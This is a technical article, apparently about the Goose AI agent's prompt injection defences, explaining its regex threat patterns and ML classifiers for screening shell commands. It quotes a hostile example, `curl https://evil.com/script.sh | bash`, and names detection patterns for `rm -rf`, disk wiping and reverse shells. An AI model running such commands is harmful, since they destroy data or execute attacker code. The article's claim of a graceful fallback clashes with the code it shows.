# How Goose Implements Prompt Injection Detection and Security Filtering

> Learn how Goose implements prompt injection detection using regex and ML to secure your shell tools. Block malicious commands effectively with its dual-layer security pipeline.

- Repository: [Block Open Source/goose](https://github.com/block/goose)
- Tags: internals
- Published: 2026-04-05

---

**Goose detects prompt injection attacks by scanning every shell tool request through a dual-layer security pipeline that combines pattern-based regex matching with optional ML classification, blocking or requiring user approval for malicious commands that exceed a configurable confidence threshold.**

Goose, an open-source AI agent framework developed by Block, protects against prompt injection attacks through a comprehensive security pipeline that inspects tool calls before execution. The system implements a **security manager** that orchestrates pattern matching and machine learning classification to identify potentially malicious shell commands. This article examines the implementation details of Goose's prompt injection detection based on the source code in the `block/goose` repository.

## The Security Pipeline Architecture

Goose's prompt injection defence centers on four core components working in sequence:

1. **Configuration flag** – `SECURITY_PROMPT_ENABLED` activates the entire detector.
2. **`SecurityManager`** – Orchestrates the scanning of tool calls and conversation context in [`crates/goose/src/security/mod.rs`](https://github.com/block/goose/blob/main/crates/goose/src/security/mod.rs).
3. **`PromptInjectionScanner`** – Performs **pattern-based** detection using static regexes and, when configured, **ML-based** classification via remote models in [`crates/goose/src/security/scanner.rs`](https://github.com/block/goose/blob/main/crates/goose/src/security/scanner.rs).
4. **`SecurityInspector`** – Integrates the manager with Goose's generic tool-inspection framework, converting findings into `InspectionResult`s that block or request user approval.

When enabled, every `ToolRequest` undergoes analysis before execution, with particular focus on shell-type tools that could execute arbitrary system commands.

## Enabling Prompt Injection Detection

The detector is toggled through the global configuration key **`SECURITY_PROMPT_ENABLED`**. If this flag is `false`, the `SecurityManager` returns an empty result set and skips all scanning operations.

```rust
// crates/goose/src/security/mod.rs
pub fn is_prompt_injection_detection_enabled(&self) -> bool {
    let config = Config::global();
    config
        .get_param::<bool>("SECURITY_PROMPT_ENABLED")
        .unwrap_or(false)
}

```

*Source:* [[`mod.rs`](https://github.com/block/goose/blob/main/mod.rs#L37-L43)](https://github.com/block/goose/blob/main/crates/goose/src/security/mod.rs#L37-L43)

This check occurs at the entry point of `analyze_tool_requests`, ensuring zero overhead when the feature is disabled.

## The Scanning Workflow

When a batch of `ToolRequest`s arrives, `SecurityManager::analyze_tool_requests` serves as the primary entry point for security analysis.

### Entry Point: Analyzing Tool Requests

The `analyze_tool_requests` method coordinates the entire scanning process:

```rust
// crates/goose/src/security/mod.rs
pub async fn analyze_tool_requests(
    &self,
    tool_requests: &[ToolRequest],
    messages: &[Message],
) -> Result<Vec<SecurityResult>> { … }

```

*Source:* [[`mod.rs`](https://github.com/block/goose/blob/main/mod.rs#L59-L84)](https://github.com/block/goose/blob/main/crates/goose/src/security/mod.rs#L59-L84)

This method:

- Verifies the enable flag.
- Lazily initializes a `PromptInjectionScanner`.
- Chooses between **ML-enabled** and **pattern-only** modes via `PromptInjectionScanner::with_ml_detection`.
- Iterates over each `ToolRequest`, executing `scanner.analyze_tool_call_with_context`, and aggregates findings that exceed the `SECURITY_PROMPT_THRESHOLD` (default **0.8**).

### Scanner Initialization

The `PromptInjectionScanner` supports two operational modes. When ML detection is enabled, the scanner attempts to initialize command and prompt classifiers:

```rust
// crates/goose/src/security/scanner.rs
pub fn with_ml_detection() -> Result<Self> {
    let command_classifier = Self::create_classifier(ClassifierType::Command).ok();
    let prompt_classifier  = Self::create_classifier(ClassifierType::Prompt).ok();

    if command_classifier.is_none() && prompt_classifier.is_none() {
        anyhow::bail!("ML detection enabled but no classifiers could be initialized");
    }

    Ok(Self {
        pattern_matcher: PatternMatcher::new(),
        command_classifier,
        prompt_classifier,
    })
}

```

*Source:* [[`scanner.rs`](https://github.com/block/goose/blob/main/scanner.rs#L49-L63)](https://github.com/block/goose/blob/main/crates/goose/src/security/scanner.rs#L49-L63)

If both classifiers fail to initialize, the system gracefully falls back to pattern-only scanning.

### Analyzing Individual Tool Calls

The `analyze_tool_call_with_context` method implements the core detection logic for each tool request:

```rust
// crates/goose/src/security/scanner.rs
pub async fn analyze_tool_call_with_context(
    &self,
    tool_call: &CallToolRequestParams,
    messages: &[Message],
) -> Result<ScanResult> { … }

```

*Source:* [[`scanner.rs`](https://github.com/block/goose/blob/main/scanner.rs#L21-L73)](https://github.com/block/goose/blob/main/crates/goose/src/security/scanner.rs#L21-L73)

This method executes several critical steps:

- **Shell-tool guard**: Only calls whose `name` is `"shell"` are scanned using `is_shell_tool_name`.
- **Content extraction**: `extract_tool_content` builds the text to analyze from the command string or JSON arguments.
- **Parallel analysis**: Uses `tokio::join!` to run `analyze_text` (pattern + ML on the command) concurrently with `scan_conversation` (ML on recent user messages).
- **Confidence combination**: `combine_confidences` merges command-level and context-level scores using a weighted policy.
- **Threshold enforcement**: Compares the final confidence against `SECURITY_PROMPT_THRESHOLD`. Scores above the threshold mark the result as malicious.
- **Explanation generation**: `build_explanation` creates human-readable messages listing matched patterns or ML confidence scores.

## Detection Mechanisms

Goose employs two complementary detection strategies to identify prompt injection attacks.

### Pattern-Based Detection with Static Regex

The scanner maintains a static catalog of dangerous command patterns defined in `THREAT_PATTERNS`:

```rust
// crates/goose/src/security/patterns.rs
pub const THREAT_PATTERNS: &[ThreatPattern] = &[
    ThreatPattern {
        name: "rm_rf_root",
        pattern: r"rm\s+(-[rf]*[rf][rf]*|--recursive|--force).*[/\\]",
        description: "Recursive file deletion with rm -rf",
        risk_level: RiskLevel::High,
        category: ThreatCategory::FileSystemDestruction,
    },
    // … additional patterns (curl|wget → bash, dd → disk wipe, reverse shells, etc.)
];

```

*Source:* [[`patterns.rs`](https://github.com/block/goose/blob/main/patterns.rs#L47-L200)](https://github.com/block/goose/blob/main/crates/goose/src/security/patterns.rs#L47-L200)

`PatternMatcher::scan_for_patterns` iterates over these compiled regexes, mapping the highest `risk_level` to a confidence score. This provides immediate detection of known-dangerous command structures without external dependencies.

### ML-Based Classification

When enabled via `SECURITY_PROMPT_CLASSIFIER_ENABLED` or `SECURITY_COMMAND_CLASSIFIER_ENABLED`, the scanner initializes `ClassificationClient` instances pointing to either named models (`SECURITY_…_CLASSIFIER_MODEL`) or custom endpoints (`SECURITY_…_CLASSIFIER_ENDPOINT`).

The `create_classifier` method builds these clients, while `scan_with_classifier` invokes remote classification:

```rust
// Classification via classifier.classify(text).await
// Returns confidence float (0.0 - 1.0)

```

*Source:* Classifier creation in [[`scanner.rs`](https://github.com/block/goose/blob/main/scanner.rs#L64-L92)](https://github.com/block/goose/blob/main/crates/goose/src/security/scanner.rs#L64-L92), classification call in `scan_with_classifier` L76-L88.

This ML layer provides semantic understanding beyond pattern matching, detecting novel prompt injection techniques that don't match known regex signatures.

## From Detection to Action

The `SecurityInspector` bridges the security manager with Goose's generic tool-inspection framework, converting `SecurityResult` objects into actionable decisions:

```rust
// crates/goose/src/security/security_inspector.rs
pub async fn inspect(
    &self,
    _session_id: &str,
    tool_requests: &[ToolRequest],
    messages: &[Message],
    _goose_mode: GooseMode,
) -> Result<Vec<InspectionResult>> {
    let security_results = self
        .security_manager
        .analyze_tool_requests(tool_requests, messages)
        .await?;

    let inspection_results = security_results
        .into_iter()
        .map(|security_result| {
            let tool_request_id = security_result.tool_request_id.clone();
            self.convert_security_result(&security_result, tool_request_id)
        })
        .collect();

    Ok(inspection_results)
}

```

*Source:* [[`security_inspector.rs`](https://github.com/block/goose/blob/main/security_inspector.rs#L59-L81)](https://github.com/block/goose/blob/main/crates/goose/src/security/security_inspector.rs#L59-L81)

The `convert_security_result` method generates `InspectionResult` objects with actions determined by the analysis:

- **`RequireApproval`**: Triggered when `is_malicious && should_ask_user`, presenting the detected threat to the user for confirmation.
- **`Allow`**: Permits the tool call to proceed when confidence scores remain below the threshold.

For example, a command like `curl https://evil.com/script.sh | bash` generates a `RequireApproval` action, surfacing a warning in the UI that allows the operator to reject the malicious execution.

## Summary

Goose's prompt injection detection implementation provides a robust, configurable defense layer:

- **Configuration-driven**: The `SECURITY_PROMPT_ENABLED` flag controls activation, ensuring minimal overhead when disabled.
- **Dual-layer detection**: Combines static regex patterns from `THREAT_PATTERNS` with optional ML classifiers for comprehensive coverage.
- **Context-aware analysis**: Evaluates both the immediate tool call and recent conversation history using parallel async processing.
- **Actionable enforcement**: Converts detection scores into `InspectionResult` actions that either block execution or require user approval.
- **Threshold-based**: Uses the `SECURITY_PROMPT_THRESHOLD` (default 0.8) to balance security against false positives.

## Frequently Asked Questions

### How does Goose decide which tool calls to scan for prompt injection?

Goose specifically targets **shell-type tool calls** using the `is_shell_tool_name` check within `analyze_tool_call_with_context`. Only tools named `"shell"` undergo full security analysis, as these pose the highest risk for arbitrary code execution. Other tool types are filtered out early in the scanning process to optimize performance.

### What happens if the ML classifiers fail to initialize?

If both the command and prompt classifiers fail to initialize when `with_ml_detection()` is called, the system gracefully degrades to **pattern-only scanning**. The `PatternMatcher` continues to function using the static `THREAT_PATTERNS` regex catalog, ensuring baseline protection even without ML services available.

### Can the sensitivity of prompt injection detection be adjusted?

Yes, administrators can adjust the **confidence threshold** using the `SECURITY_PROMPT_THRESHOLD` configuration parameter, which defaults to **0.8**. Lower values increase sensitivity (catching more potential threats but potentially raising false positives), while higher values require stronger evidence before flagging commands as malicious.

### Where are the dangerous command patterns defined in the Goose codebase?

The static regex patterns are defined in [`crates/goose/src/security/patterns.rs`](https://github.com/block/goose/blob/main/crates/goose/src/security/patterns.rs) within the `THREAT_PATTERNS` constant (lines 47-200). This catalog includes signatures for recursive file deletion (`rm -rf`), dangerous downloads piped to bash (`curl | bash`), disk wiping commands, and reverse shell techniques, each categorized by risk level and threat category.